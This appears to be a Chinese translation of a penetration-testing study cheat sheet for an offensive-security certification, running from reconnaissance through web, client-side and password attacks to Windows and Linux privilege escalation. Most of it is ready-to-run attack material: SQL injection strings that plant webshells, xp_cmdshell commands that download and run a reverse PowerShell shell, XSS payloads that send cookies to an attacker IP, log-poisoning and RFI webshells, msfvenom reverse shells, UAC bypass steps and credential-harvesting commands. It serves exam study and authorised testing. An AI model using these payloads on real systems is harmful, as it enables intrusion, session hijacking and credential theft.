国外某进攻性安全证书-书籍技巧-2023版本

笔记说明:

该笔记是国外进攻性爱好者 rodolfomarianocy 在 github 上记录的学习笔记,我整体翻译了注释的内容,并根据个人学习情况,增加或删除了一部分内容,至此放置博客上留作后续复习使用,以及方便各位浏览到我博客的安全爱好者参考使用。

六、侦察-信息收集

主机发现

nmap

1
nmap -sn 10.10.0.0/16

https://github.com/andrew-d/static-binaries/tree/master/binaries

crackmapexec执行SMB

1
crackmapexec smb 192.168.0.20/24

Ping 扫描 - PowerShell

1
for ($i=1;$i -lt 255;$i++) { ping -n 1 192.168.0.$i| findstr "TTL"}

Ping 扫描 - Bash

1
for i in {1..255};do (ping -c 1 192.168.0.$i | grep "bytes from" &); done

端口扫描 - Bash

1
for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done

端口扫描 - NetCat

1
nc -zvn <ip> 1-1000

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat

端口扫描

Nmap

1
nmap -sC -sV -A -Pn -T5 -p- <ip>

rustscan

rustscan安装

1
2
sudo docker pull rustscan/rustscan:2.1.1
alias rustscan='sudo docker run -it --rm --name rustscan rustscan/rustscan:2.1.1'

rustscan扫描

1
rustscan -a <ip> -- -A -Pn

DNS枚举

查找域的主机记录

1
2
3
host <domain>
host -t mx megacorpone.com
host -t txt <domain>

正向查找暴力破解

1
for ip in $(cat wordlist.txt); do host $ip.<domain>; done

反向查找暴力破解

1
for ip in $(seq  50 100); do host 192.168.0.$ip; done | grep -v "not found"

获取给定域的 DNS 服务器

1
host -t ns megacorpone.com | cut -d " " -f 4

DNS 区域传输

1
host -l <domain name> <dns server address>

DNS 区域传输 - dnsrecon

1
2
dnsrecon -d <domain -t axfr
dnsrecon -d megacorpone.com -D wordlist.txt -t brt

中小企业服务枚举

1
nmap -v -p 139,445 -oG smb.txt 10.11.1.1-254
1
sudo nbtscan -r 10.11.1.0/24

枚举4Linux

1
2
enum4linux <ip>
enum4linux -a -u "" -p "" <ip> && enum4linux -a -u "guest" -p "" <ip>

NFS 枚举

查看 nfs 版本

1
nmap -sV -p 111 --script=rpcinfo 10.11.1.1-254

或者

1
rpcinfo <IP> | grep nfs

查看NFS共享目录

1
nmap -p 111 --script nfs* <IP>

或者

1
showmount -e <ip>

挂载

1
2
mkdir /tmp/ok
sudo mount -t nfs -o vers=4 <IP>:/folder /tmp/ok -o nolock

配置文件

1
2
/etc/exports
/etc/lib/nfs/etab

LDAP 枚举

1
nmap -n -sV --script "ldap* and not brute" <IP>

SNMP 枚举

1
sudo nmap -sU --open -p 161 10.11.1.1-254 -oG open-snmp.txt
1
2
3
echo public > community
echo private >> community
echo manager >> community
1
2
for ip in $(seq 1 243); do echo 192.168.0.$ip; done > ips
onesixtyone -c community -i ips
1
onesixtyone -c community -i ips

枚举整个MIB树

1
snmpwalk -c public -v1  <ip>

枚举Windows用户

1
snmpwalk -c public -v1 <ip> 1.3.6.1.4.1.77.1.2.25

列出正在运行的进程

1
snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.25.4.2.1.2

列出开放的 TCP 端口

1
snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.6.13.1.3

枚举已安装的软件

1
snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.25.6.3.1.2

文件传输协议

-> 凭据默认
anonymous:anonymous
-> 获取版本

1
nc <IP> <PORT>

扫描 ftp 服务

1
nmap --script ftp-* -p 21 <ip>

二进制传输

1
2
ftp user@port
binary

ascii 传输

1
2
ftp user@port
ascii

远程登录计划

RDP 枚举

1
nmap --script rdp-ntlm-info,rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 -T4 <IP>

连接到 RDP

1
2
rdesktop -u <username> <IP>
xfreerdp /d:<domain> /u:<username> /p:<password> /v:<IP>

检查 RDP 中的有效凭据

1
rdp_check <domain>/<name>:<password>@<IP>

邮箱登录计划

POP 枚举

1
nmap --script pop3-capabilities,pop3-ntlm-info -sV -port <IP>

登录

1
2
3
telnet <IP> 110
USER user1
PASS password

列出消息

1
list

显示消息编号 1

1
retr 1

邮件传输协议

SMTP 枚举

1
nmap -p25 --script smtp-commands,smtp-open-relay 10.10.10.10

通过 SMTP 发送电子邮件

1
2
3
4
5
6
7
8
9
10
11
nc -C <IP> 25
HELO
MAIL FROM:user@local
RCPT TO:user2@local
DATA
Subject: approved in the job

http://<IP>/malware.exe

.
QUIT

Hydra smtp-enum://192.168.0.1/vrfy -l john -p localhost -> 用户名枚举

1
2
3
telnet 10.0.0.1 25
HELO
hydra smtp-enum://<IP>/vrfy -L "/usr/share/seclists/Usernames/top-usernames-shortlist.txt"

网站信息搜集技术

沃帕利泽 - wappalyzer

https://www.wappalyzer.com/

那个网站是什么

1
./whatweb site.com

FFUF目录扫描工具

模糊测试

1
ffuf -u http://site.com/FUZZ -w /usr/share/wordlists/dirb/big.txt

或者

1
gobuster dir -u <IP> -w /usr/share/wordlists/dirb/common.txt -t 5

模糊测试文件扩展名

1
ffuf -u "https://site.com/indexFUZZ" -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -fs xxx

模糊测试参数 GET

1
ffuf -u "https://site.com/index.php?FUZZ=ok" -w wordlist.txt -fs xxx

模糊测试参数 POST

1
ffuf -u "https://site.com/index.php" -X POST -d 'FUZZ=ok' -H 'Content-Type: application/x-www-form-urlencoded' -w wordlist.txt -fs xxx

https://github.com/danielmiessler/SecLists

Nikto - Web 服务器扫描仪

1
nikto -h http://site.com

HTTP 枚举 Nmap

1
nmap -p80 --script=http-enum <IP>

内容管理系统

WordPress

wpscan

1
2
wpscan --url http://site.com/wordpress --api-token <your_token> --enumerate u,vp --plugins-detection aggressive
wpscan --url http://site.com/wordpress --api-token <your_token> --enumerate u,ap

juumla

尤姆拉

1
python main.py -u <target>

https://github.com/oppsec/juumla

droopescan

drupal扫描

1
droopescan scan drupal -u <target> -t 32

https://github.com/SamJoan/droopescan

magescan

磁扫描

1
php magescan.phar scan:all www.example.com

https://github.com/steverobbins/magescan

八、WEB应用攻击

SQL 注入 - MySQL/MariaDB

绕过身份验证

1
2
3
4
5
' or 1=1 -- -
admin' -- -
' or 1=1 order by 2 -- -
' or 1=1 order by 1 desc -- -
' or 1=1 limit 1,1 -- -

获取数字列

1
-1 order by 3;#

获取版本

1
-1 union select 1,2,version();#

获取数据库名称

1
-1 union select 1,2,database();#

获取表名

1
-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema="<database_name>";#

获取列名

1
-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema="<database_name>" and table_name="<table_name>";#

转储

1
-1 union select 1,2, group_concat(<column_names>) from <database_name>.<table_name>;#

通过 SQLI 的 Webshell

查看Web服务器路径

1
LOAD_FILE('/etc/httpd/conf/httpd.conf')    

创建 webshell

1
select "<?php system($_GET['cmd']);?>" into outfile "/var/www/html/shell.php";

通过 SQLI 读取文件 - MySQL

例如

1
SELECT LOAD_FILE('/etc/passwd')

Oracle SQL

绕过身份验证

1
' or 1=1--

获取数字列

1
' order by 3--

获取表名

1
' union select null,table_name,null from all_tables--

获取列名

1
' union select null,column_name,null from all_tab_columns where table_name='<table_name>'--

转储

1
' union select null,PASSWORD||USER_ID||USER_NAME,null from WEB_USERS--

SQLite注入

提取表名,不显示标准 sqlite 表

1
http://site.com/index.php?id=-1 union select 1,2,3,group_concat(tbl_name),4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--

提取表用户

1
http://site.com/index.php?id=-1 union select 1,2,3,group_concat(password),5 FROM users--

参考: https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf

MSSQL注入

绕过身份验证

1
' or 1=1--

获取版本+延迟

1
' SELECT @@version; WAITFOR DELAY '00:00:10'; —

启用 xp_cmdshell

1
' UNION SELECT 1, null; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

远程代码执行

1
' exec xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString('http://<ip>/InvokePowerShellTcp.ps1')" ;--

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

滥用MSSQL

编辑 Invoke-PowerShellTcp.ps1,添加以下内容:

1
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
1
impacket-mssqlclient <user>@<ip> -db <database>
1
xp_cmdshell powershell IEX(New-Object Net.webclient).downloadString(\"http://<ip>/Invoke-PowerShellTcp.ps1\")

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

跨站脚本攻击(XSS)

1-> 确定所使用的语言和框架
2-> 确定入口点(参数、输入、反映您可以控制的值的响应等)
3-> 通过源代码预览或浏览器开发工具检查这如何反映在响应中
4- > > 检查允许的特殊字符

1
< > ' " { } ;

5-> 检测是否有过滤器或堵塞物并根据需要进行修改以使其正常工作

XSS 绕过的词汇表

https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/wordlists/xss_bypass.txt
https://gist.githubusercontent.com/rvrsh3ll/09a8b933291f9f98e8ec/raw/535cd1a9cefb221dd9de6965e87ca8a9eb5dc320/xxsfilterbypass.lst
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/XSS/XSS-Bypass-Strings-BruteLogic.txt
https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/XSS/XSS-Cheat-Sheet-PortSwigger.txt

XSS 审核器和 XSS 过滤器

https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
https://www.chromium.org/developers/design-documents/xss-auditor/
https://portswigger.net/daily-swig/xss-protection-disappears-from-microsoft-edge
https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Headers/X-XSS-Protection

XSS 键盘记录器

https://rapid7.com/blog/post/2012/02/21/metasploit-javascript-keylogger/
https://github.com/hadynz/xss-keylogger

XSS突变

http://www.businessinfo.co.uk/labs/mxss/

XSS 多语言

https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

正则表达式黑名单过滤

过滤器阻塞开启 - 绕过
(on\w+\s*=)

1
2
3
4
<svg onload%09=alert(1)> 
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload%0B=alert(1)>

基于关键字的过滤器

警报被阻止 - 绕过

1
2
3
4
<script>\u0061lert(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

删除脚本标签 - 绕过

1
<sCR<script>iPt>alert(1)</SCr</script>IPt>

字符转义绕过

方法

String.fromCharCode()
转义

例如
解码 URI + unescape 方法(需要 eval)

1
2
decodeURI(/alert(%22xss%22)/.source)
decodeURIComponent(/alert(%22xss%22)/.source)

其他旁路技术

统一码

1
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)"/>

添加执行接收器:
-> eval
-> setInterval
-> setTimeout

-> 八进制

1
<img src=x onerror="eval('\141lert(1)')"/>

-> 十六进制

1
<img src=x onerror="setInterval('\x61lert(1)')"/>

-> 混合(uni、hex、octa)

1
<img src=x onerror="setTimeout('\x61\154\145\x72\164\x28\x31\x29')"/>

https://checkserp.com/encode/unicode/
http://www.unit-conversion.info/texttools/octal/
http://www.unit-conversion.info/texttools/hexadecimal/

其他例子

HTML标签

1
<div>here</div>

->

1
<svg/onload=alert(1)

HTML 标签属性

1
<input value="here"/></input>

->

1
" /><script>alert(1)</script>

脚本标签

1
2
3
<script>
var name="here";
</script>

->

1
";alert(1);//

事件属性

1
<button onclick="here;">Okay!</button>

->

1
alert(1)

基于Dom

1
<script>var ok = location.search.replace("?ok=", "");domE1.innerHTML = "<a href=\'"+ok+"\'>ok</a>";</script>

->

1
javascript:alert(1)

JavaScript 编码

-> jjencode
https://utf-8.jp/public/jjencode.html
-> aaencode
https://utf-8.jp/public/aaencode.html
-> jsfuck
http://www.jsfuck.com/
- > Xchars.js
https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html

解码器 - 混淆(Javascript 解码器和 PHP)

https://malwaredecoder.com/

XSS 到 LFI

1
2
<img src=x onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</script>

XSS-会话劫持

示例

1
2
3
4
5
<script>new Image().src="http://<IP>/ok.jpg?output="+document.cookie;</script>
<script type="text/javascript">document.location="http://<IP>/?cookie="+document.cookie;</script>
<script>window.location="http://<IP>/?cookie="+document.cookie;</script>
<script>document.location="http://<IP>/?cookie="+document.cookie;</script>
<script>fetch('http://<IP>/?cookie=' + btoa(document.cookie));</script>

模板 - 细胞核

https://raw.githubusercontent.com/esetal/nuclei-bb-templates/master/xss-fuzz.yaml

Git 信息泄露攻击

1
git-dumper http://site.com/.git .

https://github.com/arthaud/git-dumper

工具

https://github.com/internetwache/GitTools

损坏的访问控制 - IDOR(不安全的直接对象引用)

  1. 搜索请求中的 ID 列表,如果找不到,请创建至少两个帐户并分析涉及 ID 的请求
  2. 识别应用程序中的访问控制
  3. 更改请求方法(GET、POST、PUT、DELETE、PATCH…)
  4. 搜索旧版本 API 的 /api/v1/ /api/v2/ /api/v3/
  5. 尝试发送 (*) 而不是 ID,尤其是在搜索点
  6. 取决于上下文和可预测性的强力 ID

IDOR+参数污染

HTTP参数污染

1
2
3
GET /api/v1/messages?id=<Another_User_ID> # unauthourized
GET /api/v1/messages?id=<You_User_ID>&id=<Another_User_ID> # authorized
GET /api/v1/messages?id[]=<Your_User_ID>&id[]=<Another_User_ID>

Json参数污染

1
2
POST /api/v1/messages
{"user_id":<You_user_id>,"user_id":<Anoher_User_id>}

使用 JSON 对象

1
2
POST /api/v1/messages
{"user_id":{"user_id":<Anoher_User_id>}}

带数组

1
2
{"user_id":001} #Unauthorized
{"user_id":[001]} #Authorized

随机案例

GET /admin/profile #未授权 GET /ADMIN/profile #授权

UUIDv1

https://caon.io/docs/exploitation/other/uuid/
https://github.com/felipecaon/uuidv1gen

其他的

如果在 ruby 中则添加 .json

1
2
/user/1029 # Unauthorized
/user/1029.json # Authorized

本地文件包含 - LFI

替换../ - 绕过

$语言 = str_replace(‘../‘, ‘’, $_GET[‘文件’]);

1
2
3
/....//....//....//....//etc/passwd  
..././..././..././..././etc/paswd
....\/....\/....\/....\/etc/passwd

编码以及路径转换

urlencode 和双 urlencode /etc/passwd

1
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
1
%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34

PHP 包装器

1
2
3
4
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id  
expect://id
php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini

过滤 PHP

预定义路径
preg_match(‘/^./okay/.+$/‘, $_GET[‘file’])

1
./okay/../../../../etc/passwd

使用空字节绕过 PHP 扩展

1
https://site.com/index.php?file=/etc/passwd%00.php

删除 .php

1
https://site.com/index.php?file=index.p.phphp

LFI + 文件上传

动图

1
echo 'GIF8<?php system($_GET["cmd"]); ?>' > ok.gif

https://github.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/blob/main/codes/webshells/shell.gif
shell.gif -> Zip
1-

1
echo '<?php system($_GET["cmd"]); ?>' > ok.php && zip wshell_zip.jpg ok.php

2-

1
2
http://ip/index.php?file=zip://./uploads/wshell_zip.jpg%23ok.php&cmd=id  
https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/wshell_zip.jpg

日志中毒

阿帕奇

1
2
nc ip 80  
<?php system($_GET[‘cmd’]); ?>


1-

1
curl -s http://ip/index.php -A '<?php system($_GET[‘cmd’]); ?>'

2-
http://ip/index.php?file=/var/log/apache2/access.log&cmd=id
邮件发送

1
2
3
4
telnet ip 23
MAIL FROM: email@gmail.com
RCPT TO: <?php system($_GET[‘cmd’]); ?>
http://ip/index.php?file=/var/mail/mail.log&cmd=id

SSH

1
2
ssh \'<?php system($_GET['cmd']);?>'@ip  
http://ip/index.php?file=/var/log/auth.log&cmd=id

PHP 会话

1
2
http://ip/index.php?file=<?php system($_GET["cmd"]);?>  
http://ip/index.php?file=/var/lib/php/sessions/sess_<your_session>&cmd=id

其他路径

1
2
3
4
/var/log/nginx/access.log  
/var/log/sshd.log
/var/log/vsftpd.log
/proc/self/fd/0-50

模板 LFI 和目录遍历 - Nuclei

https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/fuzzing/linux-lfi-fuzzing.yaml
https://raw.githubusercontent.com/CharanRayudu/Custom-Nuclei-Templates/main/dir-traversal.yaml

单词表

burp-parameter-names.txt - 用于参数模糊测试的单词列表
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt

词表 LFI - Linux
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

单词列表 LFI - Windows
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt

bypass_lfi.txt
https://github.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/blob/main/wordlists/lfi_bypass.txt

中毒.txt
https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/wordlists/posoning.txt

远程文件包含 (RFI)

RFI 到 Webshell,带有空字节以绕过图像扩展

1
2
echo "<?php echo shell_exec($_GET['cmd']); ?>" > evil.txt
python -m http.server 80
1
http://site.com/menu.php?file=http://<IP>/evil.php%00.png

RFI 到带有 txt 的 Webshell

1
2
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > evil.txt
python -m http.server 80
1
http://site.com/menu.php?file=http://<IP>/evil.txt&cmd=ipconfig

操作系统命令注入

特殊字符

1
2
3
4
5
6
7
8
& command
&& command
; command
command %0A command
| command
|| command
`command`
$(command)

带外 - OOB 漏洞利用

1
2
3
4
curl http://$(whoami).site.com/
curl http://`whoami`.site.com/
nslookup `whoami`.attacker-server.com &
curl http://192.168.0.20/$(whoami)

检查命令是否由PowerShell或CMD执行

1
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

HTTP数据包头命令执行

检测

1
nikto -h <IP> -C all

利用

1
2
3
curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /bin/bash -c 'whoami'" <IP>
curl -A "() { :; };echo ;/bin/bash -c 'hostname'" <IP>
curl -A "() { :; }; /usr/bin/nslookup $(whoami).site.com" <IP>

WEB DAV

连接到 WebDAV 服务器并将恶意文件发送到 shell

1
2
cadaver http://<IP>/webdav
put <shell.asp>
1
curl -u "<user>:<password>" http://<IP>/webdav/shell.asp

https://github.com/notroj/cadaver

十一、客户端攻击

HTA 攻击实战

获取网络浏览器名称、操作系统、设备类型
https://explore.whatismybrowser.com/useragents/parse/#parse-useragent

使用 msfvenom 创建恶意 .hta

1
sudo msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f hta-psh -o /var/www/html/evil.hta

Microsoft Word 宏攻击

使用 .doc 的 base64 在 powershell 中生成反向 shell 的恶意宏

1
python evil_macro.py -l <ip> -p <port> -o macro.txt

https://github.com/rodolfomarianocy/Evil-Macro/

恶意的PDF

恶意 PDF 生成器

1
python3 malicious-pdf.py burp-collaborator-url

https://github.com/jonaslejon/malicious-pdf

邪恶pdf
https://github.com/superzerosec/evilpdf

十五、密码攻击

生成单词列表

Cewl - 自定义单词列表生成器

根据网站信息生成单词列表

1
cewl <domain> -w wordlist.txt

Crunch - 单词列表生成器

字符翻译
@ = Lower case alpha characters
, = Upper case alpha characters
% = Numeric characters
^ = Special characters including space

用法

1
./crunch <min-len> <max-len> [charset]

基本示例

1
crunch 9 9 -t ,@@@@^%%%
1
crunch 4 6 0123456789abcdef -o wordlist.txt

john · 破解

在规则模块 [List.Rules:Wordlist] 内的 /etc/john/john.conf 文件中添加您想要的规则以修改您的单词列表
基本规则示例$@$[1-2]$[0-9]$[0-9]$[0-9]

1
john --wordlist=wordlist.txt --rules --stdout > mutated.txt

https://www.openwall.com/john/doc/RULES.shtml

破解密码

识别哈希类型

1
hashid <hash>

https://www.tunnelsup.com/hash-analyzer/
https://hashes.com/en/tools/hash_identifier

使用 2john 对不同文件类型进行哈希处理以进行破解

密码管理器

搜索 KeePass 数据库文件

1
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

对 .kdbx 文件进行哈希处理

1
keepass2john Database.kdbx > keepass.hash   

查找 hashcat 的哈希模式 ID

1
hashcat --help | grep -i "KeePass"

hashcat 破解密码

1
hashcat -m 13400 keepass.hash

暴力攻击

RDP 暴力破解 - Hydra

1
hydra -L /usr/share/wordlists/rockyou.txt t -p "<password" rdp://<IP>

RDP 暴力破解 - Crowbar

1
crowbar -b rdp -s X.X.X.X/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 1

SMB 暴力破解 - Hydra

1
hydra -L /root/Desktop/user.txt -P /usr/share/wordlists/rockyou.txt <IP> smb

SSH 暴力破解 - Hydra

1
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://<IP>

HTTP POST 登录表单暴力破解 - Hydra

1
hydra -l <user> -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/login.php:user=admin&pass=^PASS^:Invalid Login" -vV -f

HTTP GET 登录表单暴力破解 - Hydra

1
hydra -l <username> -P /usr/share/wordlists/rockyou.txt -f <IP> http-get /login

十六、Windows 枚举和本地权限提升

枚举

枚举所有本地帐户

1
net user

获取特定用户的信息

1
net user <user>

检查用户权限

1
whoami /priv

查看您所属的组

1
whoami /groups

查看接口和网络信息

1
ipconfig /all

查看所有活动的 TCP 连接以及主机正在侦听的 TCP 和 UDP 端口

1
netstat -ant

列出正在运行的进程

1
tasklist

查看系统任务

1
schtasks

权限提升

不带引号的服务路径

检测

1
2
3
4
wmic service get Name,State,PathName | findstr "Program"  
sc qc <service_name>
\\ BINARY_PATH_NAME display Unquoted Service Paths, without ""
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

利用 - 攻击者

1
2
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > name <name_inside_the_path>.exe  
nc -nvlp <port>

漏洞利用 - windows

1
2
iwr -uri <ip>/<service_eecutable_name> -Outfile <service_executable_name>
move <name_inside_the_path>.exe <service_path>
1
2
sc stop <service_name>
sc start <service_name>

或者

1
shutdown /r

binPath - 服务 [PrivEsc]

检测

1
2
Import-Module ./PowerUp.ps1
Get-ModifiableService -Verbose

或者

1
2
3
4
5
6
7
8
9
Get-ModifiableService -Verbose
wmic service get Name,State,PathName | findstr "Running" | findstr "Program"
wmic service get Name,State,PathName | findstr "Program"
icacls <pathname>
//(F) and (i) (F)
accesschk.exe -wuvc <service_name>
//RW Everyone
// SERVICE_CHANGE_CONFIG
sc qc <service_name>

利用 - Windows [PrivEsc]

1
2
3
4
5
certutil -urlcache -f http://10.9.1.137:803/ok.exe ok.exe  
sc config <name_ service> binPath="C:\Users\files\ok.exe" obj= LocalSystem
sc stop <service_name>
sc query <service_name>
sc start <service_name>

https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

冒充特权

1
PrintSpoofer64.exe -i -c cmd

https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

自动运行

检测 - windows

1
2
C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu ""C:\Program Files\Autorun Program"  
\\FILE_ALL_ACCESS

剥削 - kali

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f exe -o program.exe
1
2
3
iex (iwr http://<file_server_IP>/PowerView.ps1 -Outfile program.exe)
move program.exe "C:\Program Files\Autorun Program"
logoff

启动应用程序

检测 - Windows

1
2
icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" | findstr (F) 
\\BUILTIN\Users:(F)

msfvenom - 攻击者虚拟机

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o ok.exe

利用 - Windows

1
2
3
iex (iwr http://<file_server_IP>/PowerView.ps1 -Outfile ok.exe)
move ok.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
logoff

绕过UAC(bypass uac)

在具有本地管理员用户的计算机上获得反向 shell 后,可能需要绕过用户帐户控制 (UAC) 来执行特定的恶意操作,例如持久安装恶意软件、修改安全设置或利用系统漏洞。这可以通过旨在绕过 UAC 施加的限制的专门技术和工具来完成。 https://decoder.cloud/2017/02/03/bypassing-uac-from-a-remote-powershell-and-escalting-to-system/

事件查看器

第 1 步 - 卡利

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -f exe > ok.exe

第 2 步 - 赢得拥有

1
2
3
cd C:\Windows\tasks
iwr -uri 192.168.119.139:805/shell.exe -Outfile shell.exe
Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe

第 3 步 - 赢得拥有

1
2
3
4
iwr -uri 192.168.119.139:805/powerup.ps1 -Outfile powerup.ps1
powershell -ep bypass
Import-Module ./PowerUp.ps1
Invoke-AllChecks
1
[+] Run a BypassUAC attack to elevate privileges to admin.

第4步-卡利

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.139 LPORT=8445 -f exe > ok.exe

第 5 步 - 赢得拥有

1
2
3
4
wget 192.168.119.139:805/Invoke-EventViewer.ps1 -O Invoke-EventViewer.ps1
. .\Invoke-EventViewer.ps1
Invoke-EventViewer cmd.exe /c "C:\Windows\tasks\shell2.exe"
Invoke-EventViewer C:\Windows\tasks\shell2.exe

https://raw.githubusercontent.com/CsEnox/EventViewer-UACBypass/main/Invoke-EventViewer.ps1

Fodhelper绕过

https://raw.githubusercontent.com/winscripting/UAC-bypass/master/FodhelperBypass.ps1

捕获配置文件凭据

Powershell 历史

1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

利用保存的 Windows 凭据

1
2
cmdkey /list  
runas /savecred /user:admin cmd.exe

IIS 配置

1
2
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString  
type C:\inetpub\wwwroot\web.config | findstr connectionString

从软件中检索凭证:PuTTY

1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

无人值守的 Windows 安装

1
2
3
4
5
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

识别

1
dir /s *.db

McAfee Enterprise Endpoint Security - 安装期间使用的凭据

1
2
3
C:\ProgramData\McAfee\Agent\DB\ma.db
sqlitebrowser ma.db
python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>

https://raw.githubusercontent.com/funoverip/mcafee-sitelist-pwd-decryption/master/mcafee_sitelist_pwd_decrypt.py

Windows枚举工具

PowerUp.ps1

1
2
Import-Module ./PowerUp.ps1
Invoke-AllChecks

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

winPEASany.exe

1
winPEASany.exe

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

windows-privesc-check2.exe

1
windows-privesc-check2.exe --dump -G

https://github.com/pentestmonkey/windows-privesc-check

十七、Linux 枚举和权限提升

枚举

获取系统发行版和版本

1
cat /etc/*-release

获取内核版本

1
2
cat /proc/version   
uname -a

查看变量环境

1
2
3
4
5
6
7
env
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
cat ~/.zshrc

查看用户命令历史记录

1
2
3
4
5
6
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

列出正在运行的进程

1
ps aux

查看接口和网络信息

1
2
ifconfig
ip addr

查看所有活动的 TCP 连接以及主机正在侦听的 TCP 和 UDP 端口。

1
netstat -ant

获取映射到 IP 的 DNS 解析器和主机

1
2
cat /etc/resolv.conf
cat /etc/hosts

获取系统用户、组和密码信息

1
2
cat /etc/passwd
cat /etc/shadow

提取数据库信息

PostgreSQL

作为 postgres 用户的 psql 终端

1
2
su postgres
psql

列出数据库

1
\list

选择数据库

1
\c <database>

列出表格

1
\d

转储

1
select * from <table>;

读取文件

1
2
3
CREATE TABLE demo(t text);
COPY demo from '<filename>';
SELECT * FROM demo;

SQLite

访问数据库

1
sqlite3 <database.db>

列出表格

1
.tables

转储

1
select * from <table>;

MySQL

1
mysql -u root -h localhost -p

列出数据库

1
show databases;

选择数据库

1
use <database>;

列出表格

1
show tables;

转储

1
SELECT * FROM <table>;

其他提示

对 Web 服务器文件 (/var/www/html) 执行代码审查;-> 检查日志文件中的凭据;

权限提升

定时任务 [PrivEsc]

枚举

1
2
cat /var/log/cron.log                                                                                                                                              
cat /etc/crontab

提权

1
echo "chmod +s /bin/bash" >> script.sh

